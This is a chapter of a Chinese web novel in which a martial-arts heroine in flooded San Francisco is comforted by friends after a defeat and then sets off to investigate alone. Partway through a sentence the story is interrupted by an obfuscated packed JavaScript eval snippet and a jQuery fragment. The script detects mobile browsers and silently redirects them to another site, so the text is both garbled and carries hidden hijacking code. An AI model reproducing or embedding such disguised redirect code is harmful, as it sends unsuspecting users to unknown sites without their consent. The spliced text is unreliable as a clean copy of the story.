44. 入局
作品:《失陷旧金山》 最后,秦映厚着脸皮要了警察的联系方式,这才不得已放了他自由,没把他绑在工作岗位继续履行警察的义务。
一个人往回走的时候,她感到前所未有的落寞,手上还抓着那两截断枪,看着都像嘲讽似的刺眼。
她掏出手机看了一眼,想跟沈回渊对接一下位置,然后就看见他已经给自己发了消息,问她在哪。
沈回渊考虑周到,知道她路痴,不会发一个地址让她找过来。秦映茫然地环顾了一圈,也不清楚自己在哪里,随手拉住一个正在擦地的保洁,问:“请问这是哪个区?”
体育馆按区划分,保洁回答她“B2区。”
秦映点点头,随即给沈回渊发过去。
对面立刻秒回:【等我。】
秦映才感觉有些站不住,偶然看到一处凸起的门槛,背贴着墙缓缓坐下,两手环住腿,委屈地缩成一团。
她像个无家可归的野鬼,天地之大竟不知该往何处去,曾经一身怎么也打不倒的硬气如今也在现实面前轰然崩塌——
是啊,怎么偏偏就她这么倒霉呢?
德克斯特做了这么多坏事,怎么就不倒霉?
秦映在心里责备上天的不公,命运的无情,也不知道老天听见了没有。
没过多久,秦映听见一阵脚步声传来,步子跨得很大,带了急促。
她从膝盖里抬起头,把眼前的碎发胡乱一抹,看清朝她奔来的人。沈回渊皱着眉头,脸上表情焦急,发现她落寞地缩在角落,快步走过去,一把将她揽在怀里。
他拥抱她的力道很紧,一遍遍喊她的名字,带着颤抖。男人的右手抚着她的后脑,五指扣进头发里,试图平息她全部的绝望。
秦映从他身后看见萧熠然和梁浅浅也跟上来,二人表情也如出一辙,一个比一个沮丧。
她有些僵硬地回应沈回渊的拥抱,环上他的背。然而男人身上湿漉漉的,显然中午淋得雨还没干,就这样被他挨了一下午。
秦映眼睫轻颤,突然有些想哭。
“映映,你别太难过,我相信这么大的一个比赛,赛方一定会把这件事处理好的,你千万……”
梁浅浅不会安慰人,总是哪壶不开提哪壶。萧熠然扯了一把,她才闭嘴,而后听萧熠然道:“映映,别折磨自己,这不是你的错。”
“……”
可秦映却像没听到似的,眼神空洞地望着他们,像早已透过他们的身体飘到很远的地方去。
梁浅浅被她的眼神吓到,眼睛红通通地要流出泪来:“映映,你别这样看我,我害怕……你要是想哭就哭出来吧,别憋着,我们都明白。”
沈回渊把身子从秦映的身上抽离,看着她这副失了魂的模样,心痛得像要窒息。
“我带你回家。”他轻轻说。
秦映终于点点头,被他牵着往外走。不知顺着走廊走了多久,一行人终于来到一个门口,凉风吹来,她懵懂地抬头一看,才发现天黑了。
面前是一片极深的水洼,这片大地早就没有几处可下脚。沈回渊把伞塞到秦映手里,然后突然弯下身,示意她上来。
秦映有点懵,反应半天才明白他要背自己。虽然觉得这样有些不妥,但还是环上沈回渊的脖子,稳稳趴在他身上。
他的脊背很宽很硬,秦映把头埋在他颈肩,能闻到很好闻的清香。这清香总能让她宁神,好像世间纷扰都不过如此,唯他一人足矣。
沈回渊二话不说就迈进水里,深一脚浅一脚地走。暗灰的污水没过他的膝盖,他那么讲究的一个人,却连眉头都没皱一下,一路背着她走了好远。
秦映看着他刚毅的侧脸,突然热泪盈眶,憋了那么久没发泄的情绪一下子全涌了出来。
“沈回渊,”她说,终于肯出声,“你把车停在路面上,你是傻吗?”
沈回渊感觉自己的脖颈湿漉漉的,滴滴答答的全是水。但他知道那不是雨,因为雨是冷的,这些却是温热的。
沈回渊想说地下车库现在也都是积水,但是却不忍心告诉她,只是微微一侧脸,露出一个宠溺的笑:“你说是傻,那就是吧。”
“……”
秦映哽咽着说不出话,在心里骂了他一句“蠢货”。
等终于走到车前,沈回渊把秦映放到副驾驶,自己绕了个全坐在主驾驶位置。
萧熠然和梁浅浅也上车,坐在后排,秦映倒是没怎么湿身,只湿了鞋,可沈回渊除了一颗脑袋,浑身上下基本全湿透了。
车在雨里行驶,像逆着阻力在河上费力划船。
一路上,秦映望着窗外的灰蒙蒙的天,不说话。
好不容易到了武馆,门口也是一片汪洋。沈回渊还要背她,秦映却摇摇头,自己一个人趟着水走下去。
沈回渊坐在车里,没动弹。秦映走到屋檐下,回过头,问他怎么不进来。
沈回渊道:“我明早就来找你。”
秦映心里不舍,动了动嘴,转念想到武馆并没有多余的床,也没有合适的睡衣给他穿,便没有说出留他过夜的话。
“注意安全。”她道,有些担忧地说,“到家记得回消息。”
沈回渊笑:“有你这句话,我一定平安。你也……”他顿了一下,脸上表情有些发苦,“别胡思乱想。”
秦映点头,看着他把车开走。
车轮在积水中掀起好大一阵波浪,直到变成一个小黑点,才收回视线,进了屋。整个人感觉从未有过的疲惫,只想把自己裹起来,不再与这个世界接触。
萧熠然不敢说什么,打了好几杯热水,给她们暖身子。
几个人陆陆续续进去洗澡,秦映从浴室出来,把自己蒙进被窝里。
她并未理会梁浅浅,一句话不说,假装睡了过去。脑子里想了许许多多事,直到后半夜才睡着。
第二天一早,雨停了。
这场雨应该是后半夜停的,自从旧金山采取了紧急疏水措施,积雨排得很快,只要大雨肯稍稍停下来让大家喘口气,外面的积雨就少了大半。
可是太阳没冒出来,天上还布满厚重的乌云。大家都不知什么时候天空又会撕开个口子,给他们这群渺小的人类当头一棒。
“总感觉还没结束。”
梁浅浅在身旁说,同时看着手机上的报道,“听说昨天位于阿里加区的一处积水超过了半个人那么高,当天就淹死了三个人,还发生了五六起交通事故呢。”
梁浅浅危言耸听地说,试图以转移注意力的方式让自己遗忘,也让秦映遗忘,“你说今年这旧金山是怎么了?不会真是被老天爷惩罚吧。”
秦映撇了她一眼,她今天状态明显比昨天好了很多,虽然晚上没睡几个小时,但是一起来就把自己收拾得干干净净,眉间的阴郁也散了大半。
“谁知道呢,我看我被老天爷惩罚才是真的。”
“……”
梁浅浅意识到自己又说错话了,偷偷打自己嘴,“映映,我不会劝人,你别介意,但我只希望你快乐。其实就算武
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569271|170374||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
馆实在做不起来也没关系,没有人会逼你,我们回国,承祖荫没什么丢人的,到头来依旧是一条好汉。”
没来旧金山之前,她一直都很羡慕秦映,觉得她是一个很幸运的人,性格开朗,人长得美,又有这么多男人喜欢。作为秦家枪第十五代传人,她还那么有武学天赋,轻轻松松就能领悟别人这辈子都达不到的至高境界,好像上天把能赋予人的优点全给予了她,她就是上天最得意的杰作。
可是来了旧金山,和秦映一起并肩作战了那么久,她才发现这些所谓的优点也并非全无坏处——欲承其光,必受其重,倘若没有强大的精神力支持,任何一点放在普通人身上,都足够被压垮。
美人若不明理,终究是美人无魂,早晚会被世俗纷扰裹挟,被数不清的诱惑迷了眼去;天赋异禀之人若不勤奋刻苦,也将会连原有的那点天赋也消失不见,沦为连普通人也不及的“方仲永”。
梁浅浅常想,如果她是秦映,只身一人来到异国他乡开武馆,经历诸番辛苦,怕不能像她一样坚持下去的。
秦映回眸冲她笑了一下,怎能不知道这丫头的想法,满心满意都是在担忧她。
只是很多时候,她以身入局,并不想牵扯他们进来。
秦映上了楼,就着凉风给昨天的警察打了个电话,响了好久才接通。
“尤里斯警官,我想请问你们查到了什么地步,我们今天还要继续么?”
对方似乎还没醒,被她一通电话吵醒,骂了句“fack”,好半天才回过神来:“你有什么事……秦小姐?”
秦映:“我想跟你继续查案。”
“啊……”尤里斯在电话那头发出一声长叹,觉得这个年轻貌美的秦小姐就像索命鬼一样难缠,随便扯了个谎道,“真是不巧,今天我轮休,恐怕是不能过去了。”
秦映似乎早料到他会这样推脱,冷冰冰地反问:“那怎么办呢?”
尤里斯被她阴沉的声音吓得打了个激灵,他觉得这丫头挺狠的,别回来再做什么过激的事情,把他给举报了。他挠挠头,想了个两全的方法:“要不这样吧,我派一个人过去,让他跟着你一起查,你看怎么样?”
秦映沉默了半晌,搭下眼:“麻烦了。”
她记下另一个警察的电话,那个人叫雷诺。
“我安排他八点到赛场,你掐好时间过去就好了。”
“谢谢。”
秦映把电话挂断。
走下楼梯,秦映突然对梁浅浅和萧熠然道:“我出去一趟。”
萧熠然纳闷:“你去哪?”
“出去透口气。”秦映说,连个谎都懒得撒。
梁浅浅懵了:“外面那么厚的积水,你没事跑出去透气干什么?况且沈公子一会儿就来了……”
“他要是来了,你就告诉他,”秦映回过头,眼神变得坚定,“别问,也别找我。”
她随手拉了个鸭舌帽,往脑袋一口,盖住眉眼。帽檐勾勒出她极好看的头骨,她又拿了个口罩塞进口袋。
“你……”
梁浅浅心里的不安简直达到了顶峰,总感觉她这一去就回不来,急忙过去拉住秦映的手,“我不许你走。”
萧熠然这回站梁浅浅,也道:“你哪也不许去,我们不会同沈回渊讲,留着你自己跟他说。”
秦映深深地看了他们一眼,一点点掰开梁浅浅的手,两只眼睛从帽檐下透出来,莫名带着股狠劲:“如果你们不希望以前那个我死了,就按照我说的做。”